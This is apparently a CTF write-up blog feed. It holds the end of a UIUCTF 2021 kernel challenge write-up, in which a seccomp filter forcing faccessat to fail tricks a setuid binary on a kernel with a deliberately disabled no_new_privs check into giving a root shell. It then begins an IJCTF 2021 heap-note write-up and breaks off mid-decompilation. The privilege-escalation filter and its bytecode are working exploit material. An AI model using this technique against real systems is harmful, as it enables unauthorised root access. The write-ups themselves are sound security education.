<p>When downloading the program, we are given a <code class="language-plaintext highlighter-rouge">starter.c</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// SPDX-License-Identifier: MIT</span>
<span class="cm">/*
 * Copyright 2021 Google LLC.
 */</span>

<span class="cp">#include</span> <span class="cpf">&lt;linux/filter.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/seccomp.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/syscall.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">[])</span>
<span class="p">{</span>
	<span class="k">struct</span> <span class="n">sock_filter</span> <span class="n">insns</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span>
		<span class="c1">// Your filter here</span>
		<span class="n">BPF_STMT</span><span class="p">(</span><span class="n">BPF_RET</span> <span class="o">|</span> <span class="n">BPF_K</span><span class="p">,</span> <span class="n">SECCOMP_RET_ALLOW</span><span class="p">),</span>
	<span class="p">};</span>
	<span class="kt">unsigned</span> <span class="kt">short</span> <span class="n">num_insns</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">insns</span><span class="p">)</span> <span class="o">/</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">insns</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>

	<span class="n">printf</span><span class="p">(</span><span class="s">"%hu</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">num_insns</span><span class="p">);</span>
	<span class="k">for</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">short</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">num_insns</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">printf</span><span class="p">(</span><span class="s">"%04hx %02hhx %02hhx %08x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span>
		       <span class="n">insns</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">code</span><span class="p">,</span>
		       <span class="n">insns</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">jt</span><span class="p">,</span>
		       <span class="n">insns</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">jf</span><span class="p">,</span>
		       <span class="n">insns</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">k</span><span class="p">);</span>
	<span class="p">}</span>

	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Basically we can just slot our filter into the <code class="language-plaintext highlighter-rouge">insns</code> array, and we will be given the bytecode for all the instructions in the filter that we can just slot into <code class="language-plaintext highlighter-rouge">seccomp-loader</code>, EZ.</p>

<p>X3eRo0 and I (mainly X3eRo0) used <a href="https://github.com/david942j/seccomp-tools">seccomp-tools</a> to construct our filter. It has many features, one of which allows you to program a filter using a custom language. Heres what our solution looked like:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>A = sys_number                                                                                                                       
A == faccessat ? lol : done
lol:
return ERRNO(5)
done:
return ALLOW
kill:
return KILL
</code></pre></div></div>

<p>This, again is pretty simple, at least more simple than using the BPF macros (lol). All it does is store the syscall number, check if it == faccessat, and if it does set the return value/errno to 5, effectively causing the syscall to fail. If we do any other syscall it simply allows it to continue. the <code class="language-plaintext highlighter-rouge">kill</code> bit is not used.</p>

<p>You can dump this into BPF bytecode in <code class="language-plaintext highlighter-rouge">seccomp-tools</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@nomu:~/D/u/insecure_seccomp
❯❯ seccomp-tools asm BPF.asm                                                                                                        
" \x00\x00\x00\x00\x00\x00\x00\x15\x00\x00\x01\r\x01\x00\x00\x06\x00\x00\x00\x05\x00\x05\x00\x06\x00\x00\x00\x00\x00\xFF\x7F\x06\x00\x00\x00\x00\x00\x00\x00"
</code></pre></div></div>

<p>And X3eRo0 also modified the <code class="language-plaintext highlighter-rouge">starter.c</code> so that it works with a char* rather than a list of instructions:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;linux/filter.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/seccomp.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/syscall.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">[])</span>
<span class="p">{</span>
        <span class="c1">// just paste your filter here</span>
        <span class="kt">char</span> <span class="o">*</span><span class="n">filters</span> <span class="o">=</span> <span class="s">" </span><span class="se">\x00\x00\x00\x00\x00\x00\x00\x15\x00\x00\x01\r\x01\x00\x00\x06\x00\x00\x00\x05\x00\x05\x00\x06\x00\x00\x00\x00\x00\xFF\x7F\x06\x00\x00\x00\x00\x00\x00\x00</span><span class="s">"</span><span class="p">;</span>

        <span class="kt">unsigned</span> <span class="kt">short</span> <span class="n">num_insns</span> <span class="o">=</span> <span class="mi">5</span><span class="p">;</span> <span class="c1">// just count the number of instructions, we dont care.</span>

        <span class="n">printf</span><span class="p">(</span><span class="s">"%hu</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">num_insns</span><span class="p">);</span>
        <span class="k">for</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">short</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">num_insns</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
                <span class="n">printf</span><span class="p">(</span><span class="s">"%04hx %02hhx %02hhx %08x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span>
                       <span class="p">((</span><span class="k">struct</span> <span class="n">sock_filter</span><span class="o">*</span><span class="p">)</span><span class="n">filters</span><span class="p">)[</span><span class="n">i</span><span class="p">].</span><span class="n">code</span><span class="p">,</span>
                       <span class="p">((</span><span class="k">struct</span> <span class="n">sock_filter</span><span class="o">*</span><span class="p">)</span><span class="n">filters</span><span class="p">)[</span><span class="n">i</span><span class="p">].</span><span class="n">jt</span><span class="p">,</span>
                       <span class="p">((</span><span class="k">struct</span> <span class="n">sock_filter</span><span class="o">*</span><span class="p">)</span><span class="n">filters</span><span class="p">)[</span><span class="n">i</span><span class="p">].</span><span class="n">jf</span><span class="p">,</span>
                       <span class="p">((</span><span class="k">struct</span> <span class="n">sock_filter</span><span class="o">*</span><span class="p">)</span><span class="n">filters</span><span class="p">)[</span><span class="n">i</span><span class="p">].</span><span class="n">k</span><span class="p">);</span>
        <span class="p">}</span>

        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>

</code></pre></div></div>

<p>Now when you compile+run <code class="language-plaintext highlighter-rouge">starter</code>, you should get your output as BPF bytecode:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@nomu:~/D/u/insecure_seccomp
❯❯ ./starter                                                                                                                         
5                                                                                                                                    
0020 00 00 00000000
0015 00 01 0000010d
0006 00 00 00050005
0006 00 00 7fff0000
0006 00 00 00000000
</code></pre></div></div>

<p>Now when you send this on the remote service, while running <code class="language-plaintext highlighter-rouge">exploit_me</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/usr/local/bin $ ./seccomp_loader ./exploit_me
5
0020 00 00 00000000
0015 00 01 0000010d
0006 00 00 00050005
0006 00 00 7fff0000
0006 00 00 00000000
/usr/local/bin # cat /flag
uiuctf{seccomp_plus_new_privs_equals_inseccomp_e84609bf}
/usr/local/bin #

</code></pre></div></div>

<p>You will get a root shell, and then flag.</p>

<h1 id="closing-thoughts">Closing thoughts</h1>

<p>Kernel is very complicated. Bold statements only here xD.</p>

<p>This was a pretty cool challenge, X3eRo0 and I both learned alot about BPF. I hope you did too.</p>

<p>Another lesson: Always <code class="language-plaintext highlighter-rouge">ls -la</code> to check whether a binary is setuid, and don’t just assume that every shell will have fancy syntax highlighting for you :P (this confused me for a while, I couldnt spot the setuid binary, lol).</p>

<h1 id="references">References</h1>

<ul>
  <li><a href="https://unix.stackexchange.com/questions/562260/why-we-need-to-set-no-new-privs-while-before-calling-seccomp-mode-filter">https://unix.stackexchange.com/questions/562260/why-we-need-to-set-no-new-privs-while-before-calling-seccomp-mode-filter</a></li>
  <li><a href="https://man7.org/linux/man-pages/man3/seccomp_rule_add.3.html">https://man7.org/linux/man-pages/man3/seccomp_rule_add.3.html</a></li>
  <li><a href="https://linux.die.net/man/2/openat">https://linux.die.net/man/2/openat</a></li>
  <li><a href="https://man7.org/linux/man-pages/man7/capabilities.7.html">https://man7.org/linux/man-pages/man7/capabilities.7.html</a></li>
  <li><a href="http://bricktou.cn/include/linux/schedtask_no_new_privs_en.html">http://bricktou.cn/include/linux/schedtask_no_new_privs_en.html</a></li>
  <li><a href="https://elixir.bootlin.com/linux/v5.12.14/source/include/linux/sched.h#L1646">https://elixir.bootlin.com/linux/v5.12.14/source/include/linux/sched.h#L1646</a></li>
</ul>]]></content><author><name>volticks</name></author><category term="media" /><summary type="html"><![CDATA[Intro This writeup is pretty late, given that UIUCTC 21 ended a good few days ago, but now its here. This was a first for me, and for my team-mate X3eRo0; a kernel challenge in a live CTF environment. Although we both finished the kernel section of pwn.college this was a little different, as you’ll see. Pre-requisites This writeup assumes that the reader knows what seccomp is, and what it does along with how it does it. If you don’t, reading through the man page a little will help with that understanding. What The challenge gives us links to a handout.tar.gz and starter.c. On extracting the handout, we are greeted with a challenge folder, and inside that folder are the following files: ` Dockerfile kernel/ nsjail.cfg src/ ` We are given a Dockerfile, kernel/ directory, an nsjail configuration file and a src/ folder. Building this in docker takes a long time, and quite a lot of disk space so if you want to you can skip that process completely and just use: stty raw -echo; nc insecure-seccomp.chal.uiuc.tf 1337; stty -raw echo To connect to the remote service, IF its still up, that is. Anyway, looking in the dockerfile we can get some details about our challenge before even reading the source, in particular: COPY kernel/kconfig /kernel/linux-5.12.14/.config COPY kernel/patch /tmp/kernel.patch COPY kernel/CVE-2021-33909.patch /tmp/CVE-2021-33909.patch RUN patch -p1 -d /kernel/linux-5.12.14 &lt; /tmp/CVE-2021-33909.patch RUN patch -p1 -d /kernel/linux-5.12.14 &lt; /tmp/kernel.patch Here we can see the some files, such as the kconfig which contains flags and build instructions for our kernel, and 2 other files, patch and CVE-2021-33909.patch. The latter provides a fix for a recent CVE, and is not relevant on our end, however the former is a bit more interesting: diff --git a/init/main.c b/init/main.c index 5bd1a25f1d6f..ee7dc4a65c08 100644 --- a/init/main.c +++ b/init/main.c @@ -1490,7 +1490,7 @@ void __init console_on_rootfs(void) struct file *file = filp_open("/dev/console", O_RDWR, 0); if (IS_ERR(file)) { - pr_err("Warning: unable to open an initial console.\n"); + // pr_err("Warning: unable to open an initial console.\n"); return; } init_dup(file); diff --git a/kernel/seccomp.c b/kernel/seccomp.c index 93684cc63285..e8574297803c 100644 --- a/kernel/seccomp.c +++ b/kernel/seccomp.c @@ -648,9 +648,9 @@ static struct seccomp_filter *seccomp_prepare_filter(struct sock_fprog *fprog) * This avoids scenarios where unprivileged tasks can affect the * behavior of privileged children. */ - if (!task_no_new_privs(current) &amp;&amp; - !ns_capable_noaudit(current_user_ns(), CAP_SYS_ADMIN)) - return ERR_PTR(-EACCES); + // if (!task_no_new_privs(current) &amp;&amp; + // !ns_capable_noaudit(current_user_ns(), CAP_SYS_ADMIN)) + // return ERR_PTR(-EACCES); /* Allocate a new seccomp_filter */ sfilter = kzalloc(sizeof(*sfilter), GFP_KERNEL | __GFP_NOWARN); In particular, look closely at these lines: * This avoids scenarios where unprivileged tasks can affect the * behavior of privileged children. */ - if (!task_no_new_privs(current) &amp;&amp; - !ns_capable_noaudit(current_user_ns(), CAP_SYS_ADMIN)) - return ERR_PTR(-EACCES); + // if (!task_no_new_privs(current) &amp;&amp; + // !ns_capable_noaudit(current_user_ns(), CAP_SYS_ADMIN)) + // return ERR_PTR(-EACCES); It looks like before our kernel is compiled, the patch command is used comment some lines out, but what is the significance of these lines? Well, googling test_no_new_privs() the first result is this, here we can see a function prototype and a description for what purpose this has: static bool task_no_new_privs(struct task_struct *p) The description states: Determine whether a bit is set. Of course this makes sense given the function returns a Boolean. Now lets look at the implementation. The latter also links to a source snipped, however our kernel version is different, so we can look here instead: /* Per-process atomic flags. */ #define PFA_NO_NEW_PRIVS 0 /* May not gain new privileges. */ #define PFA_SPREAD_PAGE 1 /* Spread page cache over cpuset */ #define PFA_SPREAD_SLAB 2 /* Spread some slab caches over cpuset */ #define PFA_SPEC_SSB_DISABLE 3 /* Speculative Store Bypass disabled */ #define PFA_SPEC_SSB_FORCE_DISABLE 4 /* Speculative Store Bypass force disabled*/ #define PFA_SPEC_IB_DISABLE 5 /* Indirect branch speculation restricted */ #define PFA_SPEC_IB_FORCE_DISABLE 6 /* Indirect branch speculation permanently restricted */ #define PFA_SPEC_SSB_NOEXEC 7 /* Speculative Store Bypass clear on execve() */ #define TASK_PFA_TEST(name, func) \ static inline bool task_##func(struct task_struct *p) \ { return test_bit(PFA_##name, &amp;p-&gt;atomic_flags); } #define TASK_PFA_SET(name, func) \ static inline void task_set_##func(struct task_struct *p) \ { set_bit(PFA_##name, &amp;p-&gt;atomic_flags); } #define TASK_PFA_CLEAR(name, func) \ static inline void task_clear_##func(struct task_struct *p) \ { clear_bit(PFA_##name, &amp;p-&gt;atomic_flags); } TASK_PFA_TEST(NO_NEW_PRIVS, no_new_privs) Specifically, the definition is on the last line. Doesn’t much look like a function definition, does it? But it gets a bit clearer when you look at the macro being used: #define TASK_PFA_TEST(name, func) \ static inline bool task_##func(struct task_struct *p) \ { return test_bit(PFA_##name, &amp;p-&gt;atomic_flags); } It takes a name and a func, then based on that will use even more macros to stitch together a function name, we pass in NO_NEW_PRIVS as our name, and no_new_privs as our func, and based on that it will give us a function name of task_no_new_privs. If we look inside the function, we can see that it is, in fact testing a bit. In this case PFA_NO_NEW_PRIVS, or ‘1’. So what is the purpose of this bit, exactly? Again, by googling we can find this answer on stack overflow. The gist is: “The no_new_privs bit is a property of the process which, if set, tells the kernel to not employ privileges escalation mechanisms like SUID bit (so, invoking things like sudo(8) will not work at all), so it is safe to allow the unprivileged process with this bit set to use seccomp filters: this process will not have any possibility to escalate privileges even temporarily, thus, will not be able to “hijack” these privileges.” seccomp has a lot of features, one of which is the ability to skip a syscall, and set an arbitrary ERRNO/return value from said syscall. Look at this code, taken from the answer: // Make the `openat(2)` syscall always "succeed". seccomp_rule_add(seccomp, SCMP_ACT_ERRNO(0), SCMP_SYS(openat), 0); Once this rule is applied, the openat syscall will return ‘0’ regardless of whether the file in question actually exists. This means that checks in the program that expect a ‘-1’ on failure will be invalidated and depending on the depth of error checking may just assume the file exists, when it in fact does not. Now with that knowledge we can look back on the patched code from our kernel: - if (!task_no_new_privs(current) &amp;&amp; - !ns_capable_noaudit(current_user_ns(), CAP_SYS_ADMIN)) - return ERR_PTR(-EACCES); So, if the no_new_privs bit is NOT set (meaning the process to which the seccomp rule is being applied IS setuid/running under sudo) AND the current process was not started by root, seccomp will fail before loading the filter/rule, meaning that no meddling with the return value is possible where we may have something to gain from it. But now remember the patch: + // if (!task_no_new_privs(current) &amp;&amp; + // !ns_capable_noaudit(current_user_ns(), CAP_SYS_ADMIN)) + // return ERR_PTR(-EACCES); This has been undone. Any process, regardless of setuid status will have the rule applied. This will be incredibly important moving forward, so don’t forget :). The challenge Now that we have covered all that, we can get to the challenge sources. Lets first take a look at jail.c:]]></summary></entry><entry><title type="html">IJCTF 2021 Memory Heist writeup</title><link href="https://volticks.github.io/memory-heist-writeup/" rel="alternate" type="text/html" title="IJCTF 2021 Memory Heist writeup" /><published>2021-07-28T00:00:00+00:00</published><updated>2021-07-28T00:00:00+00:00</updated><id>https://volticks.github.io/memory-heist-writeup</id><content type="html" xml:base="https://volticks.github.io/memory-heist-writeup/"><![CDATA[<h1 id="intro">Intro</h1>

<p>So <a href="https://ctftime.org/event/1382">IJCTF</a> happened recently, taking place over the weekend from the 24th of June. It had some pretty damn good challenges, and was a great way for me and the rest of <a href="https://ctftime.org/team/116018">zh3r0</a> to rejuvenate after being battered by the hellhole that was google CTF. So lets get into one of these challenges.</p>

<p><code class="language-plaintext highlighter-rouge">memory-heist</code> specifically was solved by my team-mate. His solution was quite baffling at first but after debugging and running through it a few times I understood. This is the exploit I will be using (and explaining) during this writeup, so I hope it can help you understand the awesome way this was exploited.</p>

<p>As usual, the exploit script is in the folder with this writeup (if this ends up on GitHub, anyway]). So if that’s all you need, there it is.</p>

<p>With that out of the way, lets take a look at the challenge binary.</p>

<h2 id="setup">Setup</h2>

<p>… But before we can do that there is a problem. Stripped libc. If you don’t mind not having access to <code class="language-plaintext highlighter-rouge">pwndbg</code>s <code class="language-plaintext highlighter-rouge">heap</code> command for looking at heap chunks, you can skip this part, but this is gonna get pretty technical so I would recommend following. You can get the debug symbols by running:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>wget http://es.archive.ubuntu.com/ubuntu/pool/main/g/glibc/libc6-dbg_2.31-0ubuntu9.2_amd64.deb
</code></pre></div></div>

<p>And then</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dpkg <span class="nt">-x</span> libc6-dbg_2.31-0ubuntu9.2_amd64.deb <span class="nb">.</span>
</code></pre></div></div>

<p>To extract them to the current directory. Next I used <code class="language-plaintext highlighter-rouge">eu-unstrip</code> to copy the debug symbols from the unstripped libc, over to the stripped one provided, alternatively you could just replace the libc, but I only thought of that now -_-.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>eu-unstrip ./libc.so.6 usr/lib/debug/lib/x86_64-linux-gnu/libc-2.31.so <span class="nt">-o</span> ./libc.so.6.dbg
</code></pre></div></div>

<p>Now you should have <code class="language-plaintext highlighter-rouge">libc.so.6.dbg</code> which you can exchange with the provided libc as you wish. No need for any patching because the challenge creator’s had the foresight to load the linker AND libc from the current directory. Thanks guys.</p>

<h1 id="what">What</h1>

<p>First, lets see the challenge description:</p>

<p><code class="language-plaintext highlighter-rouge">Hereee! You got both printf() and UAF. Lets see if you can get the flag :)</code></p>

<p>Very bold… Lets see about that.</p>

<p>Now that we have that out of the way we can take a look at how the binary runs, and see what it does, then we can delve in with the disassembler/de-compiler of your choice. First lets run and explore some program functionality:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@nomu:~/D/I/memory_heist
❯❯ ./memory-heist                                                                                                                    

Welcome to Memory Heist.

1. Allocate
2. Delete
3. Print
&gt; 1
Enter the index for memory.
&gt; 0
Enter the size of memory.
&gt; 1337
Memory&gt; asdfasdfasdf
Saved.
1. Allocate
2. Delete
3. Print
&gt; 3
Re-visting memories comes at a cost.
Should you choose to accept to re-visit, half of your memories will be lost.
[Y/N]&gt; Y
Index&gt; 0
Contents:asdfasdfasdf1. Allocate
2. Delete
3. Print
&gt;
1. Allocate
2. Delete
3. Print
&gt; 2
Enter the index.
&gt; 0
Done.
  [--snipped--]
fish: “./memory-heist” terminated by signal SIGALRM (Timer expired)

</code></pre></div></div>

<p>So we have 3 options: “Allocate”, “Delete”, and “Print”. “Allocate” asks for an index, then a size, and then the contents. We can then “Print” the contents given an index. And finally we can “Delete” once done. Were also rudely interrupted by an <code class="language-plaintext highlighter-rouge">alarm()</code>, so were definitely not meant to do this manually, huh.</p>

<p>This looks like a pretty standard heap note challenge; we can allocate some space that we control at will, fill it with data which we also control, and then free/delete said allocation once done.</p>

<p>So lets take a look at our program in IDA/Ghidra to confirm or deny this hypothesis.</p>

<h1 id="reversing">Reversing</h1>
<h2 id="main">main()</h2>

<p>Since the binary is pretty small its feasible to walk through the binary one function at a time, so lets see what’s up:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="kr">__cdecl</span> <span class="n">__noreturn</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">envp</span><span class="p">)</span>
<span class="p">{</span>
  <span class="kt">unsigned</span> <span class="n">__int64</span> <span class="n">choice</span><span class="p">;</span> <span class="c1">// [rsp+8h] [rbp-8h]</span>

  <span class="n">welcome</span><span class="p">();</span>
  <span class="k">while</span> <span class="p">(</span> <span class="mi">1</span> <span class="p">)</span>
  <span class="p">{</span>
    <span class="k">while</span> <span class="p">(</span> <span class="mi">1</span> <span class="p">)</span>
    <span class="p">{</span>
      <span class="n">choice</span> <span class="o">=</span> <span class="n">menu</span><span class="p">(</span><span class="n">argc</span><span class="p">,</span> <span class="n">argv</span><span class="p">);</span>
      <span class="k">if</span> <span class="p">(</span> <span class="n">choice</span> <span class="o">!=</span> <span class="mi">3</span> <span class="p">)</span>
        <span class="k">break</span><span class="p">;</span>
      <span class="n">print</span><span class="p">();</span>
    <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span> <span class="n">choice</span> <span class="o">&gt;</span> <span class="mi">3</span> <span class="p">)</span>
      <span class="k">break</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span> <span class="n">choice</span> <span class="o">==</span> <span class="mi">1</span> <span class="p">)</span>
    <span class="p">{</span>
      <span class="n">allocate</span><span class="p">();</span>
    <span class="p">}</span>
    <span class="k">else</span>
    <span class="p">{</span>
      <span class="k">if</span> <span class="p">(</span> <span class="n">choice</span> <span class="o">!=</span> <span class="mi">2</span> <span class="p">)</span>
        <span class="k">break</span><span class="p">;</span>
      <span class="n">delete</span><span class="p">();</span>
    <span class="p">}</span>
  <span class="p">}</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"Duh!"</span><span class="p">);</span>
  <span class="n">_exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Okay, so first we call a function <code class="language-plaintext highlighter-rouge">welcome()</code>. This is pretty simple, just give us a welcome message, and setup a semi-random <code class="language-plaintext highlighter-rouge">alarm()</code> timer:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">welcome</span><span class="p">()</span>
<span class="p">{</span>
  <span class="kt">int</span> <span class="n">lol</span><span class="p">;</span> <span class="c1">// eax</span>

  <span class="n">lol</span> <span class="o">=</span> <span class="n">rand</span><span class="p">();</span>
  <span class="n">alarm</span><span class="p">(</span><span class="n">lol</span> <span class="o">%</span> <span class="mi">1337</span> <span class="o">/</span> <span class="mi">20</span><span class="p">);</span>
  <span class="k">return</span> <span class="n">puts</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">Welcome to Memory Heist.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>So that’s why we get kicked out almost immediately. Next we enter a command loop from which we enter our choice:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">while</span> <span class="p">(</span> <span class="mi">1</span> <span class="p">)</span>
<span class="p">{</span>
  <span class="k">while</span> <span class="p">(</span> <span class="mi">1</span> <span class="p">)</span>
  <span class="p">{</span>
    <span class="n">choice</span> <span class="o">=</span> <span class="n">menu</span><span class="p">(</span><span class="n">argc</span><span class="p">,</span> <span class="n">argv</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span> <span class="n">choice</span> <span class="o">!=</span> <span class="mi">3</span> <span class="p">)</span>
      <span class="k">break</span><span class="p">;</span>
    <span class="n">print</span><span class="p">();</span>
  <span class="p">}</span>
  <span class="k">if</span> <span class="p">(</span> <span class="n">choice</span> <span class="o">&gt;</span> <span class="mi">3</span> <span class="p">)</span>
    <span class="k">break</span><span class="p">;</span>
  <span class="k">if</span> <span class="p">(</span> <span class="n">choice</span> <span class="o">==</span> <span class="mi">1</span> <span class="p">)</span>
  <span class="p">{</span>
    <span class="n">allocate</span><span class="p">();</span>
  <span class="p">}</span>
  <span class="k">else</span>
  <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span> <span class="n">choice</span> <span class="o">!=</span> <span class="mi">2</span> <span class="p">)</span>
      <span class="k">break</span><span class="p">;</span>
    <span class="n">delete</span><span class="p">();</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The first thing we do inside the loop is call <code class="language-plaintext highlighter-rouge">menu()</code> to display our options banner, then take said option, and return it:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">__int64</span> <span class="nf">menu</span><span class="p">()</span>
<span class="p">{</span>
  <span class="n">__int64</span> <span class="n">choice</span><span class="p">[</span><span class="mi">2</span><span class="p">];</span> <span class="c1">// [rsp+0h] [rbp-10h] BYREF</span>

  <span class="n">choice</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">__readfsqword</span><span class="p">(</span><span class="mh">0x28u</span><span class="p">);</span>
  <span class="n">choice</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0LL</span><span class="p">;</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"1. Allocate"</span><span class="p">);</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"2. Delete"</span><span class="p">);</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"3. Print"</span><span class="p">);</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"&gt; "</span><span class="p">);</span>
  <span class="n">__isoc99_scanf</span><span class="p">(</span><span class="s">"%lu"</span><span class="p">,</span> <span class="n">choice</span><span class="p">);</span>
  <span class="k">return</span> <span class="n">choice</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Back in the main command loop, we have branches for each corresponding option, and if we do not have any of these as our choice we leave the command loop and <code class="language-plaintext highlighter-rouge">exit()</code>.</p>

<p>Firstly, lets take a look at <code class="language-plaintext highlighter-rouge">allocate()</code>:</p>

<h2 id="allocate">allocate()</h2>

<p>We can already see some recognizable strings:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">unsigned</span> <span class="n">__int64</span> <span class="nf">allocate</span><span class="p">()</span>
<span class="p">{</span>
  <span class="kt">unsigned</span> <span class="n">__int64</span> <span class="n">idx_dup</span><span class="p">;</span> <span class="c1">// rbx</span>
  <span class="kt">size_t</span> <span class="n">nbytes</span><span class="p">;</span> <span class="c1">// [rsp+8h] [rbp-28h] BYREF</span>
  <span class="kt">unsigned</span> <span class="n">__int64</span> <span class="n">idx</span><span class="p">;</span> <span class="c1">// [rsp+10h] [rbp-20h] BYREF</span>
  <span class="kt">unsigned</span> <span class="n">__int64</span> <span class="n">canary</span><span class="p">;</span> <span class="c1">// [rsp+18h] [rbp-18h]</span>

  <span class="n">canary</span> <span class="o">=</span> <span class="n">__readfsqword</span><span class="p">(</span><span class="mh">0x28u</span><span class="p">);</span>
  <span class="n">nbytes</span> <span class="o">=</span> <span class="mi">0LL</span><span class="p">;</span>
  <span class="n">idx</span> <span class="o">=</span> <span class="mi">0LL</span><span class="p">;</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"Enter the index for memory."</span><span class="p">);</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"&gt; "</span><span class="p">);</span>
  <span class="n">__isoc99_scanf</span><span class="p">(</span><span class="s">"%lu"</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">idx</span><span class="p">);</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"Enter the size of memory."</span><span class="p">);</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"&gt; "</span><span class="p">);</span>
  <span class="n">__isoc99_scanf</span><span class="p">(</span><span class="s">"%lu"</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">nbytes</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span> <span class="n">idx</span> <span class="o">&gt;</span> <span class="mh">0xB</span> <span class="o">||</span> <span class="p">(</span><span class="o">&amp;</span><span class="n">chunks</span><span class="p">)[</span><span class="n">idx</span><span class="p">]</span> <span class="p">)</span>
  <span class="p">{</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"Duh!"</span><span class="p">);</span>
    <span class="n">_exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="n">idx_dup</span> <span class="o">=</span> <span class="n">idx</span><span class="p">;</span>
  <span class="p">(</span><span class="o">&amp;</span><span class="n">chunks</span><span class="p">)[</span><span class="n">idx_dup</span><span class="p">]</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="n">nbytes</span> <span class="o">+</span> <span class="mi">2</span><span class="p">);</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"Memory&gt; "</span><span class="p">);</span>
  <span class="n">nbytes</span> <span class="o">=</span> <span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mh">0x4100</span><span class="p">,</span> <span class="n">nbytes</span><span class="p">);</span>
